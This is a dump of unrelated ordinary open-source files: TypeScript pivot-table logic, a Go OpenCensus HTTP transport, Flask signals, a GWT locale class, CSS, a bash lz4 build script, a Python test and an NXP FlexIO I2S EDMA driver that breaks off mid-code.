observedArgs.fieldName; dataSourceItem = observedArgs.dropField; if (this.control && this.btnElement && this.btnElement.getAttribute('isvalue') === 'true') { switch (droppedClass) { case '': this.control.setProperties({ dataSourceSettings: { values: [] } }, true); break; case 'rows': this.control.setProperties({ dataSourceSettings: { valueAxis: 'row' } }, true); break; case 'columns': this.control.setProperties({ dataSourceSettings: { valueAxis: 'column' } }, true); break; } } else { // dataSourceItem = this.removeFieldFromReport(fieldName.toString()); // dataSourceItem = dataSourceItem ? dataSourceItem : this.getNewField(fieldName.toString()); this.removeFieldFromReport(fieldName.toString()); dataSourceItem = this.getNewField(fieldName.toString(), observedArgs.dropField); if (dataSourceItem.type === 'CalculatedField' && droppedClass !== '') { droppedClass = 'values'; } } if (this.parent.dataType === 'olap') { // dataSourceItem = this.removeFieldFromReport(fieldName.toString()); // dataSourceItem = dataSourceItem ? dataSourceItem : this.getNewField(fieldName.toString()); this.removeFieldFromReport(fieldName.toString()); dataSourceItem = this.getNewField(fieldName.toString(), observedArgs.dropField); if (this.parent.dataSourceSettings.values.length === 0) { this.removeFieldFromReport('[measures]'); } if (dataSourceItem.type === 'CalculatedField' && droppedClass !== '') { droppedClass = 'values'; } } if (this.control) { let eventArgs: FieldDroppedEventArgs = { fieldName: fieldName, droppedField: dataSourceItem, dataSourceSettings: PivotUtil.getClonedDataSourceSettings(this.parent.dataSourceSettings), droppedAxis: droppedClass, droppedPosition: droppedPosition }; /* tslint:disable */ let dataSourceUpdate: DataSourceUpdate = this; control.trigger(events.onFieldDropped, eventArgs, (droppedArgs: FieldDroppedEventArgs) => { dataSourceItem = droppedArgs.droppedField; if (dataSourceItem) { droppedPosition = droppedArgs.droppedPosition; droppedClass = droppedArgs.droppedAxis; switch (droppedClass) { case 'filters': droppedPosition !== -1 ? (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.filters.splice(droppedPosition, 0, dataSourceItem) : this.parent.dataSourceSettings.filters.splice(droppedPosition, 0, dataSourceItem)) : (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.filters.push(dataSourceItem) : this.parent.dataSourceSettings.filters.push(dataSourceItem)); break; case 'rows': droppedPosition !== -1 ? (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.rows.splice(droppedPosition, 0, dataSourceItem) : this.parent.dataSourceSettings.rows.splice(droppedPosition, 0, dataSourceItem)) : (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.rows.push(dataSourceItem) : this.parent.dataSourceSettings.rows.push(dataSourceItem)); break; case 'columns': droppedPosition !== -1 ? (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.columns.splice(droppedPosition, 0, dataSourceItem) : this.parent.dataSourceSettings.columns.splice(droppedPosition, 0, dataSourceItem)) : (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.columns.push(dataSourceItem) : this.parent.dataSourceSettings.columns.push(dataSourceItem)); break; case 'values': droppedPosition !== -1 ? (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.values.splice(droppedPosition, 0, dataSourceItem) : this.parent.dataSourceSettings.values.splice(droppedPosition, 0, dataSourceItem)) : (isBlazor() ? dataSourceUpdate.parent.dataSourceSettings.values.push(dataSourceItem) : this.parent.dataSourceSettings.values.push(dataSourceItem)); if (isBlazor()) { if (dataSourceUpdate.parent.dataType === 'olap' && !(dataSourceUpdate.parent.engineModule as OlapEngine).isMeasureAvail) { let measureField: IFieldOptions = { name: '[Measures]', caption: 'Measures', showRemoveIcon: true, allowDragAndDrop: true }; let fieldAxis: IFieldOptions[] = dataSourceUpdate.parent.dataSourceSettings.valueAxis === 'row' ? dataSourceUpdate.parent.dataSourceSettings.rows : dataSourceUpdate.parent.dataSourceSettings.columns; fieldAxis.push(measureField); } } else { if (this.parent.dataType === 'olap' && !(this.parent.engineModule as OlapEngine).isMeasureAvail) { let measureField: IFieldOptions = { name: '[Measures]', caption: 'Measures', showRemoveIcon: true, allowDragAndDrop: true }; let fieldAxis: IFieldOptions[] = this.parent.dataSourceSettings.valueAxis === 'row' ? this.parent.dataSourceSettings.rows : this.parent.dataSourceSettings.columns; fieldAxis.push(measureField); } } break; } if (isBlazor()) { dataSourceUpdate.parent.control.pivotButtonModule.updateDataSource(); dataSourceUpdate.parent.control.axisFieldModule.render(); } } }); } } }); } /* tslint:enable */ /** * Updates the dataSource by removing the given field from the dataSource. * @param {string} fieldName - Defines dropped field name to remove dataSource. * @method removeFieldFromReport * @return {void} * @hidden */ public removeFieldFromReport(fieldName: string): IFieldOptions { let dataSourceItem: IFieldOptions; let isDataSource: boolean = false; let rows: IFieldOptions[] = this.parent.dataSourceSettings.rows; let columns: IFieldOptions[] = this.parent.dataSourceSettings.columns; let values: IFieldOptions[] = this.parent.dataSourceSettings.values; let filters: IFieldOptions[] = this.parent.dataSourceSettings.filters; let fields: IFieldOptions[][] = [rows, columns, values, filters]; let field: IField = this.parent.engineModule.fieldList[fieldName]; for (let len: number = 0, lnt: number = fields.length; len < lnt; len++) { if (!isDataSource && fields[len]) { for (let i: number = 0, n: number = fields[len].length; i < n; i++) { if (fields[len][i].name === fieldName || (this.parent.dataType === 'olap' && fields[len][i].name.toLowerCase() === '[measures]' && fields[len][i].name.toLowerCase() === fieldName)) { dataSourceItem = (<{ [key: string]: IFieldOptions }>fields[len][i]).properties ? (<{ [key: string]: IFieldOptions }>fields[len][i]).properties : fields[len][i]; dataSourceItem.type = (field && field.type === 'number') ? dataSourceItem.type : 'Count' as SummaryTypes; fields[len].splice(i, 1); if (this.parent.dataType === 'olap') { let engineModule: OlapEngine = this.parent.engineModule as OlapEngine; if (engineModule && engineModule.fieldList[fieldName]) { engineModule.fieldList[fieldName].currrentMembers = {}; engineModule.fieldList[fieldName].searchMembers = []; } } isDataSource = true; break; } } } } return dataSourceItem; } /** * Creates new field object given field name from the field list data. * @param {string} fieldName - Defines dropped field name to add dataSource. * @method getNewField * @return {void} * @hidden */ public getNewField(fieldName: string, fieldItem?: IFieldOptions): IFieldOptions { let newField: IFieldOptions; if (this.parent.dataType === 'olap') { let field: IOlapField = (this.parent.engineModule as OlapEngine).fieldList[fieldName]; newField = { name: fieldItem ? fieldItem.name : fieldName, caption: fieldItem ? fieldItem.caption : field.caption, isNamedSet: fieldItem ? fieldItem.isNamedSet : field.isNamedSets, isCalculatedField: fieldItem ? fieldItem.isCalculatedField : field.isCalculatedField, type: (fieldItem ? (fieldItem.type === undefined ? field.type === 'number' ? 'Sum' as SummaryTypes : 'Count' as SummaryTypes : fieldItem.type) : ((field.aggregateType as SummaryTypes) === undefined ? field.type === 'number' ? 'Sum' as SummaryTypes : 'Count' as SummaryTypes : field.aggregateType as SummaryTypes)), showFilterIcon: fieldItem ? fieldItem.showFilterIcon : field.showFilterIcon, showSortIcon: fieldItem ? fieldItem.showSortIcon : field.showSortIcon, showEditIcon: fieldItem ? fieldItem.showEditIcon : field.showEditIcon, showRemoveIcon: fieldItem ? fieldItem.showRemoveIcon : field.showRemoveIcon, showValueTypeIcon: fieldItem ? fieldItem.showValueTypeIcon : field.showValueTypeIcon, allowDragAndDrop: fieldItem ? fieldItem.allowDragAndDrop : field.allowDragAndDrop, showSubTotals: fieldItem ? fieldItem.showSubTotals : field.showSubTotals }; } else { let field: IField = this.parent.engineModule.fieldList[fieldName]; newField = { name: fieldItem ? fieldItem.name : fieldName, caption: fieldItem ? fieldItem.caption : field.caption, type: (fieldItem ? ((fieldItem.type === undefined || fieldItem.type === null) ? field.type === 'number' ? 'Sum' as SummaryTypes : 'Count' as SummaryTypes : fieldItem.type) : (((field.aggregateType as SummaryTypes) === undefined || (field.aggregateType as SummaryTypes) === null) ? field.type === 'number' ? 'Sum' as SummaryTypes : 'Count' as SummaryTypes : field.aggregateType as SummaryTypes)), showNoDataItems: fieldItem ? fieldItem.showNoDataItems : field.showNoDataItems, baseField: fieldItem ? fieldItem.baseField : field.baseField, baseItem: fieldItem ? fieldItem.baseItem : field.baseItem, allowDragAndDrop: fieldItem ? fieldItem.allowDragAndDrop : field.allowDragAndDrop, showSubTotals: fieldItem ? fieldItem.showSubTotals : field.showSubTotals, showFilterIcon: fieldItem ? fieldItem.showFilterIcon : field.showFilterIcon, showSortIcon: fieldItem ? fieldItem.showSortIcon : field.showSortIcon, showEditIcon: fieldItem ? fieldItem.showEditIcon : field.showEditIcon, showRemoveIcon: fieldItem ? fieldItem.showRemoveIcon : field.showRemoveIcon, showValueTypeIcon: fieldItem ? fieldItem.showValueTypeIcon : field.showValueTypeIcon }; } return newField; } }
{ "pile_set_name": "Github" }
/** * A high-level abstraction layer for codebases, classes, and components of * classes (methods, fields, instructions, etc.). The idea is to decouple * FindBugs as much as possible from any particular bytecode framework (BCEL, * ASM, etc.) * * Implementations of these interfaces may be found in the * edu.umd.cs.findbugs.classfile.impl package. Instances should be created * using the ClassFactory singleton in that package. */ @javax.annotation.ParametersAreNonnullByDefault @edu.umd.cs.findbugs.internalAnnotations.AnalysisContextContained package edu.umd.cs.findbugs.classfile;
{ "pile_set_name": "Github" }
# DO NOT EDIT THIS FILE AS IT WILL BE OVERRIDEN DURING TRANSLATION SYNC # IF YOU WOULD LIKE TO HELP COUNTLY TO BE TRANSLATED INTO YOUR LANGUAGE # PLEASE VISIT https://www.transifex.com/osoner/countly #dbviewer dbviewer.title = DB Viewer dbviewer.description = Provides REST API and Web interface to browse Countly databases dbviewer.back = Back dbviewer.search-for-a-collection = Search for a collection dbviewer.apply-filter = Apply Filter dbviewer.export = Export dbviewer.indexes = Indexes dbviewer.aggregate = Aggregate dbviewer.show-query-options = Show Query Options dbviewer.hide-query-options = Hide Query Options dbviewer.filter-is-applied = Filter is applied dbviewer.filter-query = Filter Query dbviewer.invalid-json = Invalid JSON dbviewer.valid-json = Valid JSON dbviewer.select-fields-to-return = Select fields to return dbviewer.select-fields-to-sort = Select field to sort by dbviewer.ascending = Ascending dbviewer.descending = Descending dbviewer.countly-database = Countly Database dbviewer.countly-database-description = Main database that stores data such as users and aggregated user actions dbviewer.countly_drill-database = Countly Drill Database dbviewer.countly_drill-database-description = Stores granular data about all user actions and their properties dbviewer.countly_fs-database = Countly File System Database dbviewer.countly_fs-database-description = File store used by server(s) to store files, such as app icons dbviewer.countly_out-database = Countly Out Database dbviewer.countly_out-database-description = Stores data accessed by SDKs, such as remote configurations dbviewer.generate-aggregate-report= Generate aggregate report dbviewer.back-to-dbviewer = Back to DB Viewer dbviewer.invalid-pipeline = Invalid pipeline object, please check pipeline input. dbviewer.not-found-data = Couldn't find any results dbviewer.execute-aggregation = Execute Aggregation dbviewer.prepare-new-aggregation = Prepare New Aggregation dbviewer.aggregation-pipeline = Aggregation Pipeline
{ "pile_set_name": "Github" }
// Copyright 2018, OpenCensus Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package ochttp import ( "context" "io" "net/http" "strconv" "sync" "time" "go.opencensus.io/stats" "go.opencensus.io/tag" ) // statsTransport is an http.RoundTripper that collects stats for the outgoing requests. type statsTransport struct { base http.RoundTripper } // RoundTrip implements http.RoundTripper, delegating to Base and recording stats for the request. func (t statsTransport) RoundTrip(req *http.Request) (*http.Response, error) { ctx, _ := tag.New(req.Context(), tag.Upsert(KeyClientHost, req.Host), tag.Upsert(Host, req.Host), tag.Upsert(KeyClientPath, req.URL.Path), tag.Upsert(Path, req.URL.Path), tag.Upsert(KeyClientMethod, req.Method), tag.Upsert(Method, req.Method)) req = req.WithContext(ctx) track := &tracker{ start: time.Now(), ctx: ctx, } if req.Body == nil { // TODO: Handle cases where ContentLength is not set. track.reqSize = -1 } else if req.ContentLength > 0 { track.reqSize = req.ContentLength } stats.Record(ctx, ClientRequestCount.M(1)) // Perform request. resp, err := t.base.RoundTrip(req) if err != nil { track.statusCode = http.StatusInternalServerError track.end() } else { track.statusCode = resp.StatusCode if req.Method != "HEAD" { track.respContentLength = resp.ContentLength } if resp.Body == nil { track.end() } else { track.body = resp.Body resp.Body = wrappedBody(track, resp.Body) } } return resp, err } // CancelRequest cancels an in-flight request by closing its connection. func (t statsTransport) CancelRequest(req *http.Request) { type canceler interface { CancelRequest(*http.Request) } if cr, ok := t.base.(canceler); ok { cr.CancelRequest(req) } } type tracker struct { ctx context.Context respSize int64 respContentLength int64 reqSize int64 start time.Time body io.ReadCloser statusCode int endOnce sync.Once } var _ io.ReadCloser = (*tracker)(nil) func (t *tracker) end() { t.endOnce.Do(func() { latencyMs := float64(time.Since(t.start)) / float64(time.Millisecond) respSize := t.respSize if t.respSize == 0 && t.respContentLength > 0 { respSize = t.respContentLength } m := []stats.Measurement{ ClientSentBytes.M(t.reqSize), ClientReceivedBytes.M(respSize), ClientRoundtripLatency.M(latencyMs), ClientLatency.M(latencyMs), ClientResponseBytes.M(t.respSize), } if t.reqSize >= 0 { m = append(m, ClientRequestBytes.M(t.reqSize)) } stats.RecordWithTags(t.ctx, []tag.Mutator{ tag.Upsert(StatusCode, strconv.Itoa(t.statusCode)), tag.Upsert(KeyClientStatus, strconv.Itoa(t.statusCode)), }, m...) }) } func (t *tracker) Read(b []byte) (int, error) { n, err := t.body.Read(b) t.respSize += int64(n) switch err { case nil: return n, nil case io.EOF: t.end() } return n, err } func (t *tracker) Close() error { // Invoking endSpan on Close will help catch the cases // in which a read returned a non-nil error, we set the // span status but didn't end the span. t.end() return t.body.Close() }
{ "pile_set_name": "Github" }
# $Id: __init__.py 3375 2008-02-13 08:05:08Z fredrik $ # elementtree package # -------------------------------------------------------------------- # The ElementTree toolkit is # # Copyright (c) 1999-2008 by Fredrik Lundh # # By obtaining, using, and/or copying this software and/or its # associated documentation, you agree that you have read, understood, # and will comply with the following terms and conditions: # # Permission to use, copy, modify, and distribute this software and # its associated documentation for any purpose and without fee is # hereby granted, provided that the above copyright notice appears in # all copies, and that both that copyright notice and this permission # notice appear in supporting documentation, and that the name of # Secret Labs AB or the author not be used in advertising or publicity # pertaining to distribution of the software without specific, written # prior permission. # # SECRET LABS AB AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD # TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANT- # ABILITY AND FITNESS. IN NO EVENT SHALL SECRET LABS AB OR THE AUTHOR # BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY # DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, # WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS # ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE # OF THIS SOFTWARE. # -------------------------------------------------------------------- # Licensed to PSF under a Contributor Agreement. # See http://www.python.org/psf/license for licensing details.
{ "pile_set_name": "Github" }
void foobar() { switch (1) { default: foobar(); case 1: break; } }
{ "pile_set_name": "Github" }
# # MLDB-1788_select_col_as_star_err.py # Francois-Michel L'Heureux, 2016-09-30 # This file is part of MLDB. Copyright 2016 mldb.ai inc. All rights reserved. # import unittest from mldb import mldb, MldbUnitTest, ResponseException class Mldb1788SelectColAsStarErr(MldbUnitTest): # noqa @classmethod def setUpClass(cls): ds = mldb.create_dataset({'id' : 'ds', 'type' : 'sparse.mutable'}) ds.record_row('row1', [['col', 1, 0]]) ds.commit() @unittest.expectedFailure def test_it(self): msg = 'TO BE DETERMINED' with self.assertRaisesRegex(ResponseException, msg) as exc: mldb.query("SELECT col AS * FROM ds") self.assertEqual(exc.exception.response.status_code, 400) if __name__ == '__main__': mldb.run_tests()
{ "pile_set_name": "Github" }
.scroll-view_H{ white-space:nowrap; width: 100%; background-color: rgba(255, 255, 255, 0.7); } .banner-scroll{ margin-top:2px; } .banner-scroll repeat{ margin-bottom:10px; } .nav-name{ display:inline-block; margin:0 5px; font-size:16px; color: #2b2e33; border-bottom: 2px solid transparent; padding:10px; } .nav-hover{ color: #f06000; border-bottom: 2px solid #f06000; } .title{ position:absolute; bottom:0; left:0; color:#fff; font-size:12px; background-color:rgba(0,0,0,0.6); padding:5px; width:100%; } .Bannerswiper{ height:175px; } .pic{ position:absolute; top:-30px; left:0; width:100%; height:100%; } .slide-image{ width:100%; } .textRollLink{ margin:10px; background-color:#fff; height:38px; } .Rollswiper{ height:38px; } .RollImage{ width:38px; height:38px; margin: 0 4px; } .Rolltxt{ color:#222; font-size:14px; } .RollImage, .Rolltxt { vertical-align: middle; } .listNews{ margin:10px 8px 0; } .listNews .listTitle{ display: flex; height:18px; font-size:16px; justify-content:space-between; align-items:flex-end; } .listNews .listTitle .listText{ display: flex; align-items:flex-end; height:23px; } .listNews .listTitle .listText:before{ content:''; width:2px; background:#f06000; border-radius: 2px; display:inline-block; margin: 2px 4px 0 0; height:14px; align-self:center; } .listNews .listTitle .text{ font-size:16px; color: #222; } .listNews .listTitle .more{ color:#f06000; font-size:12px; } .listNews .list-flex{ display:flex; justify-content:space-between; width:100%; flex-wrap:wrap; } .listNews .listBox{ width:49%; margin-top:8px; } .listNews .listBox .boxPic{ height:95px; position:relative; } .listNews .listBox image{ width:100%; height:95px; border-radius: 4px; } .listNews .listBox .boxPic .time{ position: absolute; bottom: 0; right: 0; padding: 3px 8px; font-size: 12px; color: #fff; background-color: rgba(0,0,0,.6); border-radius: 4px 0 4px 0; } .listNews .listBox .boxPic .icon{ position:absolute; top:0; left:0; width: 37px; height: 37px; } .listNews .listBox .boxTitle1, .listNews .listBox .boxTitle2{ overflow: hidden; width: 100%; display: block; text-overflow: ellipsis; white-space: nowrap; } .listNews .listBox .boxTitle1{ height: 20px; margin-top: 2px; line-height: 20px; font-size: 14px; color: #222; } .listNews .listBox .boxTitle2{ height: 16px; line-height: 16px; font-size: 12px; color: #999; } .listBigNews{ margin:10px 8px 0; } .listBigNews .listTitle{ position: relative; font-size: 16px; color: #222; height:18px; } .listBigNews .listTitle:before{ content:''; width:2px; background:#f06000; border-radius: 2px; display:inline-block; margin: 2px 4px 0 0; height:14px; } .listBigNews .listBox{ margin-top:8px; } .listBigNews .listBox image{ border-radius: 4px; width:100%; height:155px; } .listBigNews .listBox .listText{ height: 20px; margin-top: 2px; line-height: 20px; font-size: 14px; color: #222; overflow: hidden; width: 100%; display: block; text-overflow: ellipsis; white-space: nowrap; } .textLink{ text-align: center; color: #f06000; width: 100%; height: 18px; display: block; line-height: 18px; padding: 8px 0 10px; color: #f06000; border-bottom: 1px solid #dfdfdf; font-size:14px; } .textLink text{ vertical-align: middle; padding-right: 4px; } .textLink .linkPic{ width:14px; height:14px; vertical-align: middle; } .roundAvatorText{ margin: 15px 0 10px; padding: 0 8px; text-align:center; } .roundAvatorText .roundList{ width:25%; display:inline-block; } .roundAvatorText image{ width:50px; height:50px; border-radius: 50%; } .roundAvatorText text{ display:block; color: #999; font-size: 13px; padding: 5px 0 0; height: 16px; line-height: 18px; }
{ "pile_set_name": "Github" }
#!/usr/bin/env bash # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # This script builds the static library of lz4 that can be used as dependency of mxnet. set -ex LZ4_VERSION=r130 if [[ ! -f $DEPS_PATH/lib/liblz4.a ]]; then # Download and build lz4 >&2 echo "Building lz4..." download \ https://github.com/lz4/lz4/archive/${LZ4_VERSION}.zip \ ${DEPS_PATH}/lz4.zip unzip -q $DEPS_PATH/lz4.zip -d $DEPS_PATH pushd . cd $DEPS_PATH/lz4-$LZ4_VERSION $MAKE $MAKE PREFIX=$DEPS_PATH install popd fi
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- """ flask.signals ~~~~~~~~~~~~~ Implements signals based on blinker if available, otherwise falls silently back to a noop :copyright: (c) 2011 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ signals_available = False try: from blinker import Namespace signals_available = True except ImportError: class Namespace(object): def signal(self, name, doc=None): return _FakeSignal(name, doc) class _FakeSignal(object): """If blinker is unavailable, create a fake class with the same interface that allows sending of signals but will fail with an error on anything else. Instead of doing anything on send, it will just ignore the arguments and do nothing instead. """ def __init__(self, name, doc=None): self.name = name self.__doc__ = doc def _fail(self, *args, **kwargs): raise RuntimeError('signalling support is unavailable ' 'because the blinker library is ' 'not installed.') send = lambda *a, **kw: None connect = disconnect = has_receivers_for = receivers_for = \ temporarily_connected_to = connected_to = _fail del _fail # the namespace for code signals. If you are not flask code, do # not put signals in here. Create your own namespace instead. _signals = Namespace() # core signals. For usage examples grep the sourcecode or consult # the API documentation in docs/api.rst as well as docs/signals.rst template_rendered = _signals.signal('template-rendered') request_started = _signals.signal('request-started') request_finished = _signals.signal('request-finished') request_tearing_down = _signals.signal('request-tearing-down') got_request_exception = _signals.signal('got-request-exception') appcontext_tearing_down = _signals.signal('appcontext-tearing-down') appcontext_pushed = _signals.signal('appcontext-pushed') appcontext_popped = _signals.signal('appcontext-popped') message_flashed = _signals.signal('message-flashed')
{ "pile_set_name": "Github" }
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package com.google.gwt.i18n.client.impl.cldr; // DO NOT EDIT - GENERATED FROM CLDR AND ICU DATA /** * Implementation of DateTimeFormatInfo for the "cu" locale. */ public class DateTimeFormatInfoImpl_cu extends DateTimeFormatInfoImpl { @Override public String[] ampms() { return new String[] { "ДП", "ПП" }; } @Override public String dateFormatFull() { return "EEEE, d MMMM 'л'. y."; } @Override public String dateFormatShort() { return "y.MM.dd"; } @Override public String[] erasFull() { return new String[] { "пре́дъ р. х.", "по р. х." }; } @Override public String[] erasShort() { return new String[] { "пре́дъ р. х.", "ѿ р. х." }; } @Override public String formatMonthFullWeekdayDay() { return "EEEE, MMMM d"; } @Override public String formatMonthNumDay() { return "M/d"; } @Override public String formatYearMonthAbbrev() { return "MMM y"; } @Override public String formatYearMonthAbbrevDay() { return "MMM d, y"; } @Override public String formatYearMonthFull() { return "MMMM y"; } @Override public String formatYearMonthFullDay() { return "MMMM d, y"; } @Override public String formatYearMonthNum() { return "M/y"; } @Override public String formatYearMonthNumDay() { return "M/d/y"; } @Override public String formatYearMonthWeekdayDay() { return "EEE, MMM d, y"; } @Override public String formatYearQuarterFull() { return "QQQQ y"; } @Override public String formatYearQuarterShort() { return "Q y"; } @Override public String[] monthsFull() { return new String[] { "і҆аннꙋа́рїа", "феврꙋа́рїа", "ма́рта", "а҆прі́ллїа", "ма́їа", "і҆ꙋ́нїа", "і҆ꙋ́лїа", "а҆́ѵгꙋста", "септе́мврїа", "ѻ҆ктѡ́врїа", "ное́мврїа", "деке́мврїа" }; } @Override public String[] monthsFullStandalone() { return new String[] { "і҆аннꙋа́рїй", "феврꙋа́рїй", "ма́ртъ", "а҆прі́ллїй", "ма́їй", "і҆ꙋ́нїй", "і҆ꙋ́лїй", "а҆́ѵгꙋстъ", "септе́мврїй", "ѻ҆ктѡ́врїй", "ное́мврїй", "деке́мврїй" }; } @Override public String[] monthsNarrow() { return new String[] { "І҆", "Ф", "М", "А҆", "М", "І҆", "І҆", "А҆", "С", "Ѻ҆", "Н", "Д" }; } @Override public String[] monthsShort() { return new String[] { "і҆аⷩ҇", "феⷡ҇", "маⷬ҇", "а҆пⷬ҇", "маꙵ", "і҆ꙋⷩ҇", "і҆ꙋⷧ҇", "а҆́ѵⷢ҇", "сеⷫ҇", "ѻ҆кⷮ", "ноеⷨ", "деⷦ҇" }; } @Override public String[] quartersFull() { return new String[] { "а҃_ѧ че́тверть", "в҃_ѧ че́тверть", "г҃_ѧ че́тверть", "д҃_ѧ че́тверть" }; } @Override public String[] quartersShort() { return new String[] { "а҃_ѧ че́тверть", "в҃_ѧ че́тверть", "г҃_ѧ че́тверть", "д҃_ѧ че́тверть" }; } @Override public String[] weekdaysFull() { return new String[] { "недѣ́лѧ", "понедѣ́льникъ", "вто́рникъ", "среда̀", "четверто́къ", "пѧто́къ", "сꙋббѡ́та" }; } @Override public String[] weekdaysNarrow() { return new String[] { "Н", "П", "В", "С", "Ч", "П", "С" }; } @Override public String[] weekdaysShort() { return new String[] { "ндⷧ҇ѧ", "пнⷣе", "втоⷬ҇", "срⷣе", "чеⷦ҇", "пѧⷦ҇", "сꙋⷠ҇" }; } }
{ "pile_set_name": "Github" }
<?php /* * EXAMPLE: Error Handling * * Shows an example of a custom error handling class which * converts parsing/rendering exceptions to more friendly * error messages. */ require __DIR__ . '/include/view_init.php'; // Switch the error handler to the "TolerantErrorHandler" which basically turns // errors which would normally break the rendering and throw an exception, into // plain string errors which inform of the problem as inline text in the template. $view->getRenderingContext()->setErrorHandler(new \TYPO3Fluid\Fluid\Core\ErrorHandler\TolerantErrorHandler()); // Assigning the template path and filename to be rendered. Doing this overrides // resolving normally done by the TemplatePaths and directly renders this file. $view->getTemplatePaths()->setTemplatePathAndFilename(__DIR__ . '/Resources/Private/Singles/ErrorHandling.html'); // Rendering the View: we don't specify the optional `$action` parameter for the // `render()` method - and internally, the View doesn't try to resolve an action // name because an action is irrelevant when rendering a file directly. $output = $view->render(); // Output using helper from view_init.php example_output($output);
{ "pile_set_name": "Github" }
<?php namespace Symfony\Component\Debug\Tests\Fixtures; class ToStringThrower { private $exception; public function __construct(\Exception $e) { $this->exception = $e; } public function __toString() { try { throw $this->exception; } catch (\Exception $e) { // Using user_error() here is on purpose so we do not forget // that this alias also should work alongside with trigger_error(). return user_error($e, E_USER_ERROR); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2015, Freescale Semiconductor, Inc. * Copyright 2016-2019 NXP * All rights reserved. * * SPDX-License-Identifier: BSD-3-Clause */ #include "fsl_flexio_i2s_edma.h" /* Component ID definition, used by tools. */ #ifndef FSL_COMPONENT_ID #define FSL_COMPONENT_ID "platform.drivers.flexio_i2s_edma" #endif /******************************************************************************* * Definitations ******************************************************************************/ /* Used for 32byte aligned */ #define STCD_ADDR(address) (edma_tcd_t *)(((uint32_t)(address) + 32U) & ~0x1FU) /*<! Structure definition for flexio_i2s_edma_private_handle_t. The structure is private. */ typedef struct _flexio_i2s_edma_private_handle { FLEXIO_I2S_Type *base; flexio_i2s_edma_handle_t *handle; } flexio_i2s_edma_private_handle_t; /*!@brief _flexio_i2s_edma_transfer_state */ enum { kFLEXIO_I2S_Busy = 0x0U, /*!< FLEXIO I2S is busy */ kFLEXIO_I2S_Idle, /*!< Transfer is done. */ }; /*<! Private handle only used for internally. */ static flexio_i2s_edma_private_handle_t s_edmaPrivateHandle[2]; /******************************************************************************* * Prototypes ******************************************************************************/ /*! * @brief FLEXIO I2S EDMA callback for send. * * @param handle pointer to flexio_i2s_edma_handle_t structure which stores the transfer state. * @param userData Parameter for user callback. * @param done If the DMA transfer finished. * @param tcds The TCD index. */ static void FLEXIO_I2S_TxEDMACallback(edma_handle_t *handle, void *userData, bool done, uint32_t tcds); /*! * @brief FLEXIO I2S EDMA callback for receive. * * @param handle pointer to flexio_i2s_edma_handle_t structure which stores the transfer state. * @param userData Parameter for user callback. * @param done If the DMA transfer finished. * @param tcds The TCD index. */ static void FLEXIO_I2S_RxEDMACallback(edma_handle_t *handle, void *userData, bool done, uint32_t tcds); /******************************************************************************* * Code ******************************************************************************/ static void FLEXIO_I2S_TxEDMACallback(edma_handle_t *handle, void *userData, bool done, uint32_t tcds) { flexio_i2s_edma_private_handle_t *privHandle = (flexio_i2s_edma_private_handle_t *)userData; flexio_i2s_edma_handle_t *flexio_i2sHandle = privHandle->handle; /* If finished a block, call the callback function */ (void)memset(&flexio_i2sHandle->queue[flexio_i2sHandle->queueDriver], 0, sizeof(flexio_i2s_transfer_t)); flexio_i2sHandle->queueDriver = (flexio_i2sHandle->queueDriver + 1U) % FLEXIO_I2S_XFER_QUEUE_SIZE; if (flexio_i2sHandle->callback != NULL) { (flexio_i2sHandle->callback)(privHandle->base, flexio_i2sHandle, kStatus_Success, flexio_i2sHandle->userData); } /* If all data finished, just stop the transfer */ if (flexio_i2sHandle->queue[flexio_i2sHandle->queueDriver].data == NULL) { FLEXIO_I2S_TransferAbortSendEDMA(privHandle->base, flexio_i2sHandle); } } static void FLEXIO_I2S_RxEDMACallback(edma_handle_t *handle, void *userData, bool done, uint32_t tcds) { flexio_i2s_edma_private_handle_t *privHandle = (flexio_i2s_edma_private_handle_t *)userData; flexio_i2s_edma_handle_t *flexio_i2sHandle = privHandle->handle; /* If finished a block, call the callback function */ (void)memset(&flexio_i2sHandle->queue[flexio_i2sHandle->queueDriver], 0, sizeof(flexio_i2s_transfer_t)); flexio_i2sHandle->queueDriver = (flexio_i2sHandle->queueDriver + 1U) % FLEXIO_I2S_XFER_QUEUE_SIZE; if (flexio_i2sHandle->callback != NULL) { (flexio_i2sHandle->callback)(privHandle->base, flexio_i2sHandle, kStatus_Success, flexio_i2sHandle->userData); } /* If all data finished, just stop the transfer */ if 